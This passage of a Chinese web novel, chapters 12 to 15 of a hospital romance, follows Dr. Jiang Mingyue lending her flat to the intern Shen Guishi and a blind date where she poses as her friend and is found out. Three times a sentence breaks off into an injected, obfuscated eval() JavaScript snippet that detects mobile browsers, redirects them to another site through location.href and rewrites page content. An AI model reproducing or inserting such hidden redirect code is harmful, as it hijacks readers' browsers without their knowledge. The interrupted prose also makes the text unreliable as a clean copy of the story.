酒店经理追上来问:“沈先生,您后背的伤要紧吗?我帮您联系一下医疗服务吧。” 江明月也记挂着沈归时刚刚替她扛下的那一记。皮带的金属扣,打在身上应该挺疼。她有点担心,不假思索地跟着问了句:“我给你看看?” “好。谢谢师姐。” 她话音刚落,沈归时就答应了。然后眸光扫过酒店经理,眼神指了指不远处的电梯。 酒店经理回头看看电梯。这是……让他不要多事,赶紧走人? 他不太确定,迟疑地征询着意见:“那……沈先生,我先走了?” 见沈归时点头,酒店经理终于如释重负,转身走远。 - 江明月跟着沈归时,进了他的房间。 一进门,江明月就问:“是打到了后背对吗?具体在哪个位置?” 沈归时描述:“胸椎左侧,背阔肌附近。” 江明月绕到他身后,找到对应的位置。 “是这里吗?”她隔着衬衣,伸手按了按,“疼不疼?” 沈归时摇摇头。 “不疼?”江明月还是不太放心,想把衬衣掀起来检查,可惜衬衫下缘收束在裤子里,她无从下手,只好让沈归时自己来,“衣服脱了我看看。” 沈归时微愣。 江明月终于察觉到了尴尬,想了想,追加道:“解几粒扣子就行。” 她一向很照顾患者情绪的。 沈归时仅仅怔了几秒,便一言不发地照做。浅灰衬衫的下缘被他从长裤里扯了出来,他背对江明月,从下往上解纽扣,解开一半以后,主动将衬衣下缘往上卷,露出半个后背。 他应该是有体能锻炼的习惯,身上有很明显的肌肉线条,因为肤色偏冷白,背阔肌那一块的淤青格外分明。 “还好,没破皮。有点淤青,正常一个礼拜能消。”江明月靠近细看,鼻尖微热的呼吸落在沈归时后背的肌肤上,她顺手按了按旁边几节椎骨,“骨头肯定没事。” 感觉到沈归时的后背肌肉微微绷紧了,江明月又问:“疼?” “不疼。” 沈归时一开口,才发觉自己嗓音低哑。 真不疼。 酥麻得要命。 江明月亲眼看过之后也放心了,“那行,我先走了,你早点休息。” 沈归时应了声,进去拿换洗衣物,打算去冲澡。回头一看,发现江明月还没走。 “师姐还有事?” 江明月立在原地纠结了半天,终于缓声开口:“之前我无意间看到了你的履历表,所以对你的家庭情况有一些了解,你不要介意。” 看到沈归时动作一顿,江明月安慰的话语一句接着一句冒了出来:“其实在我看来,一个人的出身并不能完全决定这个人的命运。虽然说每个人的起跑线不一样,但人的一生那么长,很多差距都是可以用时间和努力来弥补的,人的命运永远掌握在自己手中。” 沈归时欲言又止:“其实我……” 江明月接过他的话:“其实你现在,已经通过学习,摆脱了家庭条件的束缚,远比那些依靠家庭托举的人更值得欣赏钦佩。” 沈归时似乎想说什么,但最终没有说出口。 江明月觉得仅仅安慰略显单薄,又稍微上了点价值,刻意声线激昂:“奋斗的人生最美丽,拼搏的青春最精彩。” 沈归时终于轻轻地笑起来:“嗯。” 江明月认为自己今天的思想工作算是做到位了,心里那点懊悔自责也没了,终于回自己房间休息去了。 - 第二天,会议如期结束,江明月随郑观海飞回海城。 沈归时没跟大部队一起走。 因为在酒店动用了大哥沈归晏的名头,沈家人很快得知了他在北城,自然不允许他过家门而不入,要求他回家吃顿饭再走。 沈家的司机早早地恭候在酒店停车场,会议一结束,就载着沈归时,一路往沈家的方向开。 汽车驶入一条笔直的林荫道的时候,就进入了沈宅的范围。从林荫道的尽头驶出,入眼便是一个诺大的人工湖,夏日炎炎,湖上荷花开得极盛,几只黑天鹅游曳其间。绕过人工湖,又穿过一个小型花园,沈家主宅终于出现在视线内。 汽车停下。一名佣人小跑过来打开后座车门,恭恭敬敬地打招呼:“二少爷。” 沈归时下了车。 这是他被沈家认回的第七年,但他回沈家的次数屈指可数。 一方面,是因为他一直在海城求学,一南一北,不便频繁回来。 另一方面,是因为沈家还保留着早年在香港的习惯,规矩森严,各房明争暗斗。沈归时无意参与那些争斗,于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640848|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是主动将自己边缘化了。 走进大门之后,就看见他的亲生母亲梁书琴端着她惯用的珐琅彩水杯,徐徐从旋转楼梯上走了下来。 “回来了?”因为早已得知沈归时的行踪,梁书琴看见他并不惊讶,“上来坐。” 沈归时来到二楼起居室,在其中一张单人皮质沙发上坐下。女佣奉上红茶。沈归时看了眼墙上的复古壁挂钟。 现在还不到下午五点。 今天飞海城的最晚航班在晚上九点半,他能赶上。明天早上还能继续跟江明月出门诊。 梁书琴在他对面的沙发位上坐下,搁下水杯,随手摆弄着面前花瓶里蓝紫色的厄瓜多尔玫瑰,问道:“你和元姝最近相处得怎么样?” 沈归时说:“最近没见过她。” “她不是在海城?还住在你那边。” “我一直住学校宿舍。” 梁书琴望着对面相貌出众的青年,微不可查地叹了口气。 “你明年毕业以后,就回北城好吗?家里的人脉关系主要集中在这边,你以后肯定还是要在这里娶妻生子的,你说是吧?” 沈归时微微蹙眉:“我有喜欢的人,她在海城。” 一句话,像是拒绝了梁书琴的两个问题。 梁书琴一愣,本想劝说几句,转念一想,又什么也没提。 年轻男人嘛,在外玩玩也正常,只要不往家里带,她都可以当不知道。 沈归时在外漂泊了那么多年,好不容易认回来了,这几年来,至少表面的母慈子孝一直维持得挺好,她何必为这点小事跟他起争执。 没过多久,女佣过来说:“太太,大少爷回来了。” 梁书琴从沙发上起身,“走吧,下去吃饭。” 母子二人在餐厅落座,看着沈家大公子沈归晏一边接电话,一边迈步朝这儿走了过来。 沈归晏的生母是沈父的原配夫人,因为羊水栓塞过世了。梁书琴是继母,将他抚养长大,所以沈归晏待梁书琴一直挺客气。 沈归晏在餐桌旁坐下,跟手机里的人说了句“你的方案我会考虑,还有事,先挂了”,随后挂断通话,并未回头,直接将手机往后一递。 跟在身后的男助理立刻将手机接了过去,半弯着腰,轻声汇报着接下来的工作。 沈归晏简单吃了点东西,就站起身,“梁姨,我还有点工作要处理,先走一步。你们慢慢吃。” 他朝沈归时点点头,算打过招呼,接着像是想起了什么,交代道:“以后如果遇到解决不了的事,可以直接打我电话,或者联系陈友。” 他身后的男助理陈友立刻向沈归时递上名片。 沈归时接过名片,望着转身欲走的沈归晏,十分真诚地给出建议:“你名下那个酒店,电梯程序得改改,不能让所有电梯同时上行,不太方便。” 沈归晏脚步一停,微微侧头看向陈友。 陈友立即说:“今天有点晚了,明天一早,我联系工程师来处理。” 沈归晏点头,又望向沈归时:“还有什么地方想改进?” “没有。但有一件事,想请大哥你帮忙。” 沈归晏微微挑眉。在他的印象中,这还是沈归时第一次提出这样的请求。他脚步收回,身子也转了回来,眼底兴致颇浓。 “说说看。” 13. 桃花运 海城的梅雨季节到了,一连下了几天雨,空气中都浮着淡淡的潮气。 按照实习计划,沈归时和宋远本周就要结束在生殖科的轮转,下周一直接去下一个科室。 不知道是不是受阴沉的天气影响,这几天宋远明显心情不佳,时不时叹口气,念叨着:“生殖科氛围真好,我不想走,以后去哪儿找江师姐这么好的带教啊,什么都愿意教,不收钱不收礼,还请吃饭。” 这几天病人扎堆过来,江明月忙得不可开交,根本顾不上理会宋远。白天忙到连喝水的时间都没有,晚上回家沾枕就能睡着。 只是常常做梦。 梦中,有人从身后拥住了她,将她悬空抱了起来。随后低低的呢喃落在了她的耳畔。 “师姐……” 梦境到这里截然而止。 梦里她没有回头去看身后的人。但她知道那是谁。 别人一般都会带上姓,称呼她为“江师姐”。 只有一个人一直喊她“师姐”。 像是独属的亲近。 - 晚上回到宿舍,沈归时拿了几本书,准备去图书馆复习,忽然听见宋远大喊一声:“我靠!” “沈哥!你快看群里!学校刚发了通知,今年暑假宿舍楼都要加固改造,所有学生暑期都不能滞留校内!我去,我们这批还都在附院实习呢!暑假,整整两个月的时间!都得自己出去租房子住!我博士生补贴一个月只有5000,租个房子就没了!” 沈归时也不由考虑了一下接下来的去处。他第一时间想到的是自己名下那套花园别墅,但转瞬就放弃了这个念头。 别墅离这儿很远,不方便他每天来往海大附院。 还是在医院附近租个房子比较合适。 他正要跟宋远说,手机恰好震动起来。 沈归时看了眼来电提示,走到宿舍外的走廊上接听。 空无一人的走廊分外安静,将听筒里传来的声音衬托得更加清晰:“沈先生,晚上好,我是陈友。” “我知道。” 陈友继续道:“上周日,您委托老板调查的事情已经有结果了。目前可以确定的是,吴驰在采购大型医疗器械时有贪污、受贿行为,多次利用职权干涉人事任免,多次抄袭、伪造学术成果。此外,他师德有亏,与数名女性学生长期保持着不正当关系。请问您想以哪一项罪名举报他?” “全部。” 陈友仅仅安静了几秒,很快就语气如常地给出答复:“好的,沈先生。一切按您的吩咐安排,请您放心。” - 隔日下午,临近下班的点,江明月回办公室写病例总结,准备下周周例会的发言内容。 一旁的罗薇笑着问她:“今天那俩实习生没跟着你啊?” “他们回学校考试了,今天期末考。” “他们也快出科了吧?” 江明月说:“对,在生殖的实习这礼拜就结束。” 今天刚好是周五。 过了今天,他们就再也不会来生殖中心这栋楼了。 想到这儿,江明月搭在键盘上的手微微停顿,忽然敲不动一个字了。 罗薇凑了过来,神秘兮兮地说:“你听说了没,北城那个号很难挂的吴驰教授,今天被纪委带走了。” “啊?”江明月陡然回神。 罗薇说得绘声绘色:“当时还在查房,忽然来了几个人,当着一屋子医生病人的面,直接把他带走了,真的一点情面都没留,这么看来,后面肯定要严肃处理了。” “他怎么了?”江明月想到上周末还道貌岸然上台致辞的吴驰,一时都不敢相信。 “据说啊,有人匿名举报他贪污受贿、学术不端,还有生活作风不正,反正一堆罪名,而且都提供了证据。”罗薇又凑近了一点,小声说,“我以前还听说他跟黄牛勾结,卖自己的号,一个号加价几千块钱呢。这次被带走了也好,你说这种人,光有医术,没有医德,留在医疗队伍里有什么用?纯粹败坏我们行业风气。” 江明月点头,声线幽幽:“活该啊……” 这时,门口忽然有人喊:“江医生,有人来给你送锦旗了!” 整个办公室的人都抬头往门口看去。 一个打扮精致的贵妇人走了进来,手上两面锦旗很是显眼。 江明月记得这个人。是位富太太,姓张,四十岁不到。丈夫比她大二十岁,自怀实在怀不上,最后做了试管,胚胎移植了四次终于成功,顺利转去产科。 因为第四次移植的手术是江明月操作的,所以这位张太太一直觉得是江明月给她带来的好“孕”气。 张太太笑意吟吟:“江医生,不好意思哦,之前在坐月子,没有及时来感谢你。我特意上网查了,你们医院红包是不收的,但锦旗可以送的,我找人订做了两面,一面送给你个人,一面送给你们科室,这总行了吧!” 其实办公室的墙上已经挂满了锦旗,像张太太这样顺利生产后回来送锦旗的人不在少数。 江明月笑着说:“已经生了?恭喜!” “是呀,小男孩儿闹腾得很。” 张太太打开手机相册,给江明月看小孩视频。 办公室里几名同事纷纷围过来看这个新生儿。 张太太把江明月拉到一边,压低声音问:“江医生,你人长得漂亮,医术也好,以后给我当儿媳妇怎么样?” 江明月看着手机屏幕上那一团小小的婴儿,脑子有点不受控制地发懵。 “哎呀,我不是说我这个儿子,我是说我那个继子,哈佛毕业的,现在也在海城,你觉得怎么样?”张太太从包里掏出另一个手机,打开相册,“人挺帅的,来,我给你看照片呀。” 江明月已经被上次相亲弄出心理阴影了,婉拒道:“我目前还是想以工作为重,别的暂时不考虑。” 张太太遗憾地点点头。 罗薇兼管科里的宣传工作,不知道从哪儿找来了一个专业相机,招呼大家跟锦旗合个影。 于是,全科医护一起出动,找了个空旷的地方拍了张大合影。 江明月和张太太站在中间,一人举着一面锦旗。张太太特别到位,一手举锦旗,另一手还比了个大拇指。 “这张拍得不错。”罗薇翻看着相机里的照片,脸都要笑得裂开了,见江明月走过来,立刻一个箭步扑过去,给了她一个大大的拥抱,“这个月的宣传材料有了!” 旁边张太太还在说:“江医生,我还想要个二胎,到时候还来找你啊。” 江明月自然点头:“行。” 闲聊几句后,她把张太太送到电梯口,张太太依依不舍地握了握她的手:“江医生,等你什么时候不想以工作为重了,一定要第一时间通知我啊!” 江明月:“……” 她客套地应承,“一定。” 送走了张太太,下班时间也到了,江明月简单收拾了一下准备走,就听罗薇问她:“刚刚那人是不是说要来找你生二胎?” “对。” 罗薇在键盘上噼里啪啦敲下几行字。 江明月经过她的时候瞟了眼。 电脑屏幕上,标题为“生殖中心传喜讯,两面锦旗送真情”的宣传稿已经洋洋洒洒写了好长一段,正写到——张女士对我院的硬件设施和医护实力赞不绝口,还表示,以后生二胎,还会选择海城附院生殖中心…… 江明月说:“你忙,我先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640849|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了。” “好嘞!我今天加个班,要抓紧把稿子赶出来,送办公室审核去。”罗薇专注写稿,眼睛一瞬不瞬地盯着屏幕,干劲十足,“有这两面锦旗加持,今年年底评优评先,肯定少不了我们科室!” 江明月走到停车场,刚好崔晚晚打电话来约她一起逛街。她想着晚上没什么事就答应了,直接开车去了约定的商场。 崔晚晚跟她差不多时间到的,挽着她进了常去的专柜。 专柜销售一看见崔晚晚,立马笑意吟吟地迎上来:“崔小姐,又和朋友出来逛街啦,今天想看什么?” 崔晚晚进去逛了一圈,指着柜内一条手链:“这个拿给我看看。“ 销售依言取出手链,给崔晚晚试戴,同时介绍道:“这款手链属于我们品牌的星辰系列,卖得挺好的,戴上能招桃花运哦。” “那我要了。”但凡犹豫一秒,都是崔晚晚对桃花运的不尊重,“要两条,给我朋友也买一条。” 江明月拒绝:“我不要,我最近手术多,手链不方便戴。” 崔晚晚说:“没事儿,你不做手术的时候戴,加持一下桃花运嘛。” 她让销售赶紧打单子结账,随后扯了扯江明月的衣角,试探着说:“另外,有件小事,能不能帮帮忙。” 江明月:“……” 她现在拿人手短,说不出拒绝的话,只好无奈一笑:“什么事啊?” 崔晚晚摇了摇她的手臂:“帮我相个亲。” “这也要我帮?这不是你的强项?” “我没时间,我要陪宋远去看房子。他说暑期不许留校,要另外租个房子住。”崔晚晚解释道,“这个相亲是我妈一个领导介绍的,根本推不掉。你帮帮我嘛,到时候你也不用特意准备,人过去就行,你就说你是崔晚晚,饭吃完就走人。回头我再跟介绍人说没看上,完美闭环!怎么样?是不是非常简单?” “你跟宋远……” “我在追他。” “你认真的?” “目前是的。” 江明月沉默,片刻后她问:“相亲约在什么时候?” 崔晚晚殷切地握住她的手:“明天下午五点!你有空的吧!” “有空。”江明月平静点头,“下不为例。” “谢谢明月姐姐,你最好啦!”崔晚晚掐着嗓子,甜腻腻地诉说感谢,江明月听得浑身难受,把她推远了点。 崔晚晚浑不在意,又贴了上来,“说实话,那男的长得还行,我要是有空我就自己去了。喏,给你看照片。我妈知道我相亲只看脸,特意帮我要来的。” 崔晚晚翻出一张照片。 江明月一愣。就在今天下班前,她在张太太手机里见过一张一模一样的。 海城可真小啊…… “男方有你的照片吗?”江明月不由问。 “没有没有,有的话哪敢让你替我去。” 江明月放下心来。 销售将两条手链包装好,邀请道:“我们今天还新到了一批成衣,两位要不要看看?” 崔晚晚兴致勃勃。 江明月心里有事,兴致索然。 于是销售先把江明月领到贵宾室休息,然后专心服务崔晚晚。 江明月靠坐在贵宾室的沙发上,翻出手机,找到和沈归时的聊天框。 从北城回来以后,她常常梦见他。她深感异样,所以这几天一直有意和他保持距离,私下也没什么交流。 不过,刚刚崔晚晚说宋远要找房子租住的时候,她还是情不自禁地联想到了沈归时。 他……有地方住吗? 江明月终于点了“发送”。 【江明月:考好了吗?】 14. 拆穿两次 发出了这一句,她像解开了某个枷锁一般,又接连发了一连串问题。 【江明月:听说海大今年暑假不许你们留在宿舍?】 【江明月:你打算住哪儿?回家住吗?】 沈归时正在学校操场夜跑。 临近假期,校园内氛围轻松,操场上到处是牵着手散步的情侣,谈笑声阵阵不绝。沈归时察觉到手机震动,停下来扫了一眼,随即便走到一旁的路灯下回复消息。 每一个问题他都回答了。 【沈归时:考好了。今年学校要趁暑期改造宿舍楼,出于安全考虑,不许学生滞留,最晚这个月底要离开学校宿舍。我打算在医院附近找个短租房住两个月。不回家住了,距离比较远。】 江明月想起他曾经就读的小学和初中,确实都在海城的偏远地段,距离主城区有两个小时的车程。 而海大附院周围寸土寸金,在附近租房,哪怕只是租一个单间,房租都不便宜。短租价格还会更贵。对沈归时来说,应该会是一笔不小的开销。 江明月抿了抿唇,继续编辑消息,发送。 【江明月:我在海城名邸有一套房子,从那边走到医院只要五分钟。平时那边一直空着没人住。你如果找不到合适的住处,可以暂时住那里。】 【江明月:房租不用你给,反正空着也是浪费了。你定期把那里打扫一下就行,省得我再花钱请阿姨。】 她担心沈归时出于自尊心不愿意接受,还特意为他准备了一个“以工抵债”的方案。 沈归时看到这两条新弹出来的消息,又不禁想起那晚在酒店,江明月安慰他的那些话。 也是从那时起,他才终于意识到,为什么江明月会一直想方设法给他塞钱、介绍兼职,现在还借房子给他住。 可能就像她悉心照顾每一只流浪猫一样,她也在想尽可能地给他一些物质上的关照。 他想过解释自己的身世,但又怕说清楚之后,他们连这点交集都没了。 他实在贪恋她释放出来的每一分善意。 沈归时正打算回复,手机进来一个电话。 电话接通后,沈元姝的声音传了过来:“哥哥,我准备回北城了。” 沈归时“嗯”了声:“什么时候出发?” “明晚九点的航班。飞之前我们一起吃顿晚饭……可以吗?”沈元姝轻声说,“来海城后,我还没有见过你。” “可以。” 沈元姝像是松了口气,语气轻快起来:“你想吃什么菜系?我去订餐厅。” “随你,我都行。” “西餐怎么样?我知道海城有一家还不错的意大利餐厅,离你学校也近。” “好。” - 江明月又看了一眼微信聊天界面。 三分钟过去了,沈归时还没有回应。 她有些坐不住,拿了一瓶面前茶几上的矿泉水,旋开金属瓶盖,站起身,一边喝水一边慢吞吞地踱步,漫无目的地打量着贵宾室的装饰。 直到微信的提示音再度响起。 【沈归时:抱歉,刚刚接了个电话。】 【沈归时:房子的事就先谢谢师姐了。什么时候能搬过去?】 江明月快步走到沙发旁坐下,拿起手机。 【江明月:随时可以。】 【江明月:对了,进小区大门和上电梯都要刷卡,你搬过去之前记得来找我拿门禁卡。】 【沈归时:好。】 - 周六下午五点,江明月准时来到约定的餐厅,和崔晚晚的相亲对象见面。 餐厅整体由一座老洋房改造而成,环境相当好,一楼临街,大面积的落地窗外,是店主精心培育的几丛绣球花。菜品主打意大利料理,原料新鲜高级,成品精致好看,当然价格也不菲。 因为事先见过照片,江明月很快找到了那位男士。她毫无心理负担地自我介绍:“你好,我是崔晚晚。” “幸会。”对方的视线在她脸上微微停留,很快就礼貌地移开了,“我是林逸。” 林逸主动为江明月拉开椅子,两人在一楼落地窗畔落座。点菜的过程中,林逸一直问询江明月的意见,态度虽然不热络但也不算冷淡,始终彬彬有礼。 两人有一搭没一搭地闲聊。林逸说起最近新上的一部电影,江明月下意识就说自己工作忙,还没时间去电影院看。 林逸敏锐地抓住她话中的细节:“崔小姐工作很忙?” 江明月一脸淡定,神态自若地用叉子转着面前的龙虾意面,“噢,我开了一家珠宝定制工作室。自由职业嘛,有闲的时候,也有忙的时候。” 崔晚晚找江明月来顶替真没找错人。崔晚晚的基本情况江明月都知道,方方面面都给圆得严丝合缝,根本不会说漏嘴。 - 刚下过一场雨,空气中带着些微水汽。 沈归时从餐厅二楼下来,目光不经意间一扫,就看见了临窗而坐的江明月。 夏天日暮很迟,此刻正值傍晚,落地窗外绣球花色缤纷,雨后的晚霞漫天绵延,绚烂如火。她穿得很随意,普通的素色长裙,如墨长发散在身后,明明是那么素淡的装束,依旧明艳不可方物。 人与景,相辉映。 画面十分美好。 如果她没有与对面那个年轻男人相谈甚欢的话。 “哥哥,怎么了?”身后的沈元姝出声问道。 老洋房的楼梯很窄,只容一人通过。因为沈归时停住了脚步,直接挡住了后面要下楼的沈元姝。 沈归时微微垂眼,一言不发,继续下楼。 因为沈元姝要赶飞机,所以他们今晚只是简单吃了点,用餐时间并不长。路对面等候的司机见他们走出餐厅大门,立刻发动车子。 沈归时送沈元姝上了车,目送车子驶远,随后目光回转,隔着一条熙熙攘攘的马路,静静地望着对面餐厅的某一扇落地窗。 - 一顿饭很快吃到了尾声。服务生呈上甜品和热毛巾。 林逸拿来一块热毛巾,好整以暇地擦了擦手:“崔小姐,其实那部电影我也没有看过,我刚刚买了两张票,半个小时后开场。不知道有没有荣幸邀请到你陪我一起去?” 江明月露出一个歉意的微笑:“真不巧,我一会儿约了朋友,改天吧。” 改天是不可能改天的,毕竟早就和崔晚晚商量好了,饭吃完就走人。林逸看着是个聪明人,应该能听出她委婉的拒绝。 “这样啊。”林逸果然是谦谦君子,既没有再三追问,也没有流露出任何尴尬气恼的神色。 江明月安安心心地埋头吃新上的甜品,就听见林逸不疾不徐地问:“崔小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14640850|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没空我知道,我想约江医生,可以吗?” 江明月呼吸一滞。 她艰难地咽下一口白松露冰淇淋,脑中光速把刚刚所有对话回想了一遍,确定自己没露出什么破绽之后,才试探性地问道:“你认识我?” 目前看来,也只有这种可能,才能让对方准确说出自己的姓氏和职业。 “我的继母,把你的照片和送子观音像摆在置物架的同一层,一左一右。左边医学,右边玄学。”林逸解释过后,回答了她刚刚的问题,“很难不认识。” 江明月:“……” 气氛陷入了真正的尴尬。 静默无言中,江明月的手机铃声响了。 她接起:“喂?” 听筒内传来沈归时的声音:“师姐,你这会儿有空吗?我来找你拿门禁卡。” 江明月一愣:“学校不是允许你们住到这个月底吗?这才几号,你就要搬出去了?” 林逸见她要讲电话,便先起身去结账。 沈归时有理有据的:“专业书比较多,一趟搬不完,我想趁这两天周末休息,先搬一部分过去。” 江明月满脑子都在想沈归时已经不属于生殖科了:“你下周去哪个科啊?” “麻醉。” “哦,那你也别急着今天搬,这两天最好把麻醉的书再拿出来复习一遍。”江明月好心提醒道,“麻醉科的唐主任,一直亲自带教,随机提问,答不上来会挨骂的。” “复习的事,先不着急。” 江明月挺意外。 这个卷王今天怎么不卷了? 随后沈归时略显清冷的声音传来:“师姐,你等下是不是有事要忙?” 江明月听着这声“师姐”,觉得自己有必要树个榜样:“嗯,我在看文献,一会儿写个文献综述。” “你在……看文献?” “对啊,现代医学的发展还是比较快的,多看文献可以及时更新自己的知识。反正我们学医的一定要有终身学习的概念,任何时候都不能松懈。” 沈归时大概是被她这一番话触动到了,许久没有回应。 “行了,没别的事我就先挂了。门禁卡——”江明月想了想,“下周一上班后我拿给你。” “师姐。”沉默多时的沈归时忽然说,“你往外看。” 江明月下意识偏头,望向落地窗外。 夕阳的余晖遍地铺洒。马路对面,一个颀长的身影跟随着密集的人流穿过斑马线,朝餐厅方向走了过来, 他在拥挤的人潮中十分出挑,江明月一眼就看到了他。他很高,身材比例极好,远远一看就能分辨出宽肩窄腰长腿,像个衣架子,将普普通通的白衣黑裤穿得利落有型。 他一手插在裤兜,另一手将手机举在耳畔,一步步走到近前,隔着一扇落地窗,嘴唇开开合合,像是说了三个字。 落地窗隔音效果不错,按理说江明月并不能听见他在说什么。 但通话还没挂断。 所以那三个字通过手机听筒,无比清晰地传入江明月的耳中—— “看文献?” 声线清冽,尾音上扬。 仿若质问。 江明月的大脑有一瞬间的空白。 她实在想不通。 她怎么能在这短短几分钟内,接连被拆穿两次? 15. 冒昧 林逸结完账回来,一眼就看见了落地窗外的沈归时。 沈归时视线轻移,朝他淡淡一瞥。 林逸微愣。 不知道是不是他的错觉,林逸隐隐觉得沈归时看他的眼神里带着现场捉奸般的气恨。 再看江明月,则是一脸被抓现行般的慌乱和心虚。 林逸忍不住出声询问:“这位是……” 江明月迅速跟手机里说了句“等我一会儿”,然后掐断了通话。 “他是我师弟。”电光火石间,她已经想好了说辞,“我刚刚不是跟你说约了朋友嘛,就是他……对,就是他。” 江明月直接一个无中生“友”,给之前婉拒的托词缝了个底。 林逸轻轻点头:“你师弟他吃晚饭了吗?要不我们再点几个菜,喊他进来一起吃点。” “不用了。”江明月看到林逸手中的账单,知道他已经结过账了,“今天让你破费了,实在不好意思。晚晚她临时有事,没能亲自过来,我代她道歉,请你见谅。” 林逸挺有风度:“没关系。” “那我先走了,再见。” 江明月惦记着在外等候的沈归时,拿着手机就往外走。 林逸不紧不慢地跟了上去。 服务生来清理桌面,叫住了林逸:“先生,您的伞没拿。” 林逸回头看。江明月刚刚的座位上,遗留了一把折叠伞。 - 江明月快步走出餐厅,朝沈归时招了招手:“过来,我带你去海城名邸,上我车吧。” 沈归时迈开长腿走过来,跟上江明月的脚步。 江明月的车停在旁边的一条小巷子里。江明月坐上驾驶位,把副驾座椅上那堆杂七杂八的纸质材料收了收,全部扔到后座,让沈归时在清理干净的副驾坐下。 这时,有人敲了敲左侧车窗。 江明月降下车窗,就见林逸微微俯身,递上一把折叠伞:“你的伞落下了。” “谢谢。”江明月刚刚走的匆忙,都忘记自己还带了一把雨伞。 “本来想打电话喊你回来拿的,可惜没有你的联系方式。”林逸笑了笑,“方便交换一下电话号码吗?” 江明月拿着人家递过来的伞,不好意思拒绝,正要开口,一旁的沈归时迅速报出了一串数字:“02161626364,你记一下,想问诊直接打这个号码。” 林逸愣了下:“固定电话?” 江明月也怔了怔,点头:“我办公室的固定电话。” 林逸不由往沈归时的方向看了眼,对方面目淡然,眸光始终不离江明月。林逸轻淡一笑,神情更加温润平和,递上一张名片:“上面有我的手机号,微信同号。” 既然是交换电话号码,自然双方都要留下联系方式。 江明月礼貌接过。 沈归时快速扫过名片上的内容。 【林逸】 【海中证券投资银行部】 【执行董事】 头部券商的管理层。 沈归时侧首望向林逸,问得十分诚恳:“听说你们金融圈渣男特别多,是真的吗?” 林逸:“……” 你可真会听说啊。 江明月见气氛不对,出来打圆场,说是打圆场,其实话里话外还是偏帮沈归时:“我师弟就是好奇问问,没别的意思。那个……我们还有事,先走了。 车子从小巷尽头驶出。 江明月关上车窗,开始自我解释:“我刚刚说我在看文献,主要是想激励你多学习。” “嗯。” 天色渐昏,华灯初上。车子在路上快速行驶,路两侧的路灯在沈归时的脸上投下忽明忽暗的光。 “晚饭吃过了吗?” “吃过了。” “那就好,海城名邸那边什么吃的都没有。今天正好有时间,我带你认认路,以后你直接去就行。” 很快,车子驶入海城名邸的地下车库。江明月从中控台找出一枚门禁卡,刷卡上了电梯。 她这栋楼是一梯一户的构造,出了电梯就是自己家。环境漆黑,她一时没留神脚下,差点被一个盒子绊倒,幸好身后的沈归时眼疾手快地扶住了她。 他扶着她的两侧手臂,她的后背几乎要贴上他的胸膛,就在这一瞬间,江明月想起了那个一直萦绕在梦中的拥抱。 她不由回头看他。 感应灯恰好在此时亮起。 他的眉眼舒展而不失精致,肤色冷白,灯光下甚至有些晃眼。见她回头,他也望向了她,眼中有着独属于少年人的干净、清冽、热忱。 梦中她没有回头的缺憾,仿佛在此刻悄然填补上了。 她情不自禁地按住了右边的小臂。那个被玫瑰花刺划伤的伤口,明明早已结痂,此刻却微微泛痒。像早春泥土里的生机勃勃的小粉花,在滋长、在破土、在生发。 “怎么了,师姐?” 听见声音,江明月终于回神,恍然意识到自己盯着人家看了有一会儿。 实在冒昧。 “没什么。”她镇定地转过头,看到地上绊倒自己的是一个粽子礼盒,估计是物业送来的端午节礼品,她顺手拎进了房。 将门口电子锁的密码告诉沈归时后,她从主卧翻出一枚备用的门禁卡,交给沈归时。 这套房子户型很好,主卧、客卧、书房,全部朝南。江明月偶尔来这边休息时,就睡在主卧。客卧家具齐全,从来没人住过,现在让沈归时搬进去正合适。 两人没在海城名邸停留多久。时间也不早了,江明月顺路将沈归时送回学校。 - 晚上,江明月擦着头发从浴室里走出来,崔晚晚的电话恰好打来了。 一接通,崔晚晚就迫不及待地问:“今天相亲怎么样?顺利吗?那人有没有怀疑你?” “不怎么样,不顺利。”江明月将通话开了免提,对着镜子,拿毛巾裹住头发,“何止怀疑,对方从一开始就识破了。” “怎么回事?” 江明月就把来龙去脉大概讲了一遍。 崔晚晚感叹道:“这也太巧了!呃……他不会去找介绍人告发我吧?那我妈非骂死我不可。” “应该不至于,那人看着挺有风度,肯定不会计较这个。” “嗐,明月,我用阅男无数的经验告诉你,有些男人就是伪君子,当面一套背后一套,就喜欢骗你这种没什么恋爱经历的乖乖女。” “那你自求多福吧。”江明月换好睡衣,盘腿坐在床尾凳上,“对了,你今天和宋远看到合适的房子了吗?” “有个一居室还不错,他挺满意,已经付了租金。”崔晚晚顿了顿,“我跟你说,宋远他是真直男啊……” 江明月颇为配 